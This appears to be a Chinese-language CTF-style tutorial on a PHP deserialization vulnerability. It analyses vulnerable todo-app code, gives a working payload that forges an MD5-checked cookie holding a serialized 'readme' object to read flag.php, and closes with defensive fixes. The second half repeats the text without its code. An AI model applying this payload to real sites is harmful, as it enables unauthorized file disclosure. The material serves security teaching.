反序列化漏洞-PHP
字数 1129 2025-08-15 21:33:50

PHP反序列化漏洞分析与利用

1. 序列化与反序列化基础

1.1 基本概念

  • 序列化:将对象的状态信息转换为可以存储或传输的形式的过程
  • 反序列化:将序列化后的数据重新转换为对象或其他数据结构的过程

1.2 PHP中的序列化与反序列化

PHP中使用serialize()unserialize()函数进行序列化和反序列化操作:

// 序列化
$data = ['name' => 'test', 'value' => 123];
$serialized = serialize($data); // 输出序列化字符串

// 反序列化
$unserialized = unserialize($serialized); // 还原原始数据

2. 魔术方法及其在反序列化中的作用

PHP中的魔术方法在特定条件下会自动调用,在反序列化漏洞利用中特别重要:

2.1 关键魔术方法

  • __construct(): 对象创建时(new)自动调用,但在unserialize()时不会自动调用
  • __destruct(): 对象销毁时自动调用
  • __wakeup(): 使用unserialize()函数时自动调用
  • __toString(): 当对象被当作字符串输出时自动调用

2.2 示例代码中的魔术方法

class readme{
    public function __toString() {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}

3. 漏洞代码分析

3.1 代码结构

<?php
class readme{
    public function __toString() {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}

if(isset($_GET['source'])){
    $s = new readme();
    $s->source = __FILE__;
    echo $s;
    exit;
}

if(isset($_COOKIE['todos'])){
    $c = $_COOKIE['todos'];
    $h = substr($c, 0, 32);
    $m = substr($c, 32);
    if(md5($m) === $h){
        $todos = unserialize($m);
    }
}

if(isset($_POST['text'])){
    $todo = $_POST['text'];
    $todos[] = $todo;
    $m = serialize($todos);
    $h = md5($m);
    setcookie('todos', $h.$m);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?>

3.2 漏洞点分析

  1. 反序列化入口:通过$_COOKIE['todos']接收数据并反序列化
  2. 魔术方法利用__toString()方法会在对象被当作字符串输出时调用
  3. 文件读取highlight_file()函数可以读取并高亮显示文件内容
  4. 可控参数$this->source参数可以通过序列化控制

4. 漏洞利用步骤

4.1 利用流程

  1. 构造恶意序列化数据
  2. 设置cookie触发反序列化
  3. 利用__toString()方法读取flag.php文件

4.2 具体步骤

  1. 构造恶意对象
class readme {
    public $source = 'flag.php'; // 修改为要读取的目标文件
}

$payload = [new readme()];
$serialized = serialize($payload);
$hash = md5($serialized);
$cookieValue = $hash . $serialized;
  1. 设置cookie
document.cookie = "todos=" + escape("构造的cookie值");
  1. 触发漏洞

访问页面后,系统会自动反序列化cookie中的数据,当遍历$todos数组时会触发__toString()方法,从而读取flag.php内容。

5. 防御措施

5.1 安全建议

  1. 避免反序列化用户输入:不要反序列化不可信的来源数据
  2. 使用白名单验证:对反序列化的类进行限制
  3. 签名验证:对序列化数据进行签名验证
  4. 使用替代方案:如JSON等更安全的序列化格式

5.2 代码修复示例

// 添加类白名单检查
$allowed_classes = ['SafeClass1', 'SafeClass2'];
$todos = unserialize($m, ['allowed_classes' => $allowed_classes]);

// 或者完全禁用对象反序列化
$todos = unserialize($m, ['allowed_classes' => false]);

6. 相关函数说明

  • highlight_file(): 显示文件源码并进行语法高亮
  • print_r(): 打印变量信息,可以输出非字符串
  • __FILE__: 获取当前文件路径
  • md5(): 计算字符串的MD5哈希值

7. 总结

该漏洞利用PHP反序列化机制,通过控制序列化数据中的类属性,触发魔术方法执行任意文件读取操作。关键在于:

  1. 找到反序列化入口点
  2. 识别可利用的魔术方法
  3. 构造恶意序列化数据
  4. 触发反序列化操作

理解这些原理对于防御和利用PHP反序列化漏洞都至关重要。

PHP反序列化漏洞分析与利用 1. 序列化与反序列化基础 1.1 基本概念 序列化 :将对象的状态信息转换为可以存储或传输的形式的过程 反序列化 :将序列化后的数据重新转换为对象或其他数据结构的过程 1.2 PHP中的序列化与反序列化 PHP中使用 serialize() 和 unserialize() 函数进行序列化和反序列化操作: 2. 魔术方法及其在反序列化中的作用 PHP中的魔术方法在特定条件下会自动调用,在反序列化漏洞利用中特别重要: 2.1 关键魔术方法 __construct() : 对象创建时(new)自动调用,但在 unserialize() 时不会自动调用 __destruct() : 对象销毁时自动调用 __wakeup() : 使用 unserialize() 函数时自动调用 __toString() : 当对象被当作字符串输出时自动调用 2.2 示例代码中的魔术方法 3. 漏洞代码分析 3.1 代码结构 3.2 漏洞点分析 反序列化入口 :通过 $_COOKIE['todos'] 接收数据并反序列化 魔术方法利用 : __toString() 方法会在对象被当作字符串输出时调用 文件读取 : highlight_file() 函数可以读取并高亮显示文件内容 可控参数 : $this->source 参数可以通过序列化控制 4. 漏洞利用步骤 4.1 利用流程 构造恶意序列化数据 设置cookie触发反序列化 利用 __toString() 方法读取flag.php文件 4.2 具体步骤 构造恶意对象 : 设置cookie : 触发漏洞 : 访问页面后,系统会自动反序列化cookie中的数据,当遍历 $todos 数组时会触发 __toString() 方法,从而读取flag.php内容。 5. 防御措施 5.1 安全建议 避免反序列化用户输入 :不要反序列化不可信的来源数据 使用白名单验证 :对反序列化的类进行限制 签名验证 :对序列化数据进行签名验证 使用替代方案 :如JSON等更安全的序列化格式 5.2 代码修复示例 6. 相关函数说明 highlight_file() : 显示文件源码并进行语法高亮 print_r() : 打印变量信息,可以输出非字符串 __FILE__ : 获取当前文件路径 md5() : 计算字符串的MD5哈希值 7. 总结 该漏洞利用PHP反序列化机制,通过控制序列化数据中的类属性,触发魔术方法执行任意文件读取操作。关键在于: 找到反序列化入口点 识别可利用的魔术方法 构造恶意序列化数据 触发反序列化操作 理解这些原理对于防御和利用PHP反序列化漏洞都至关重要。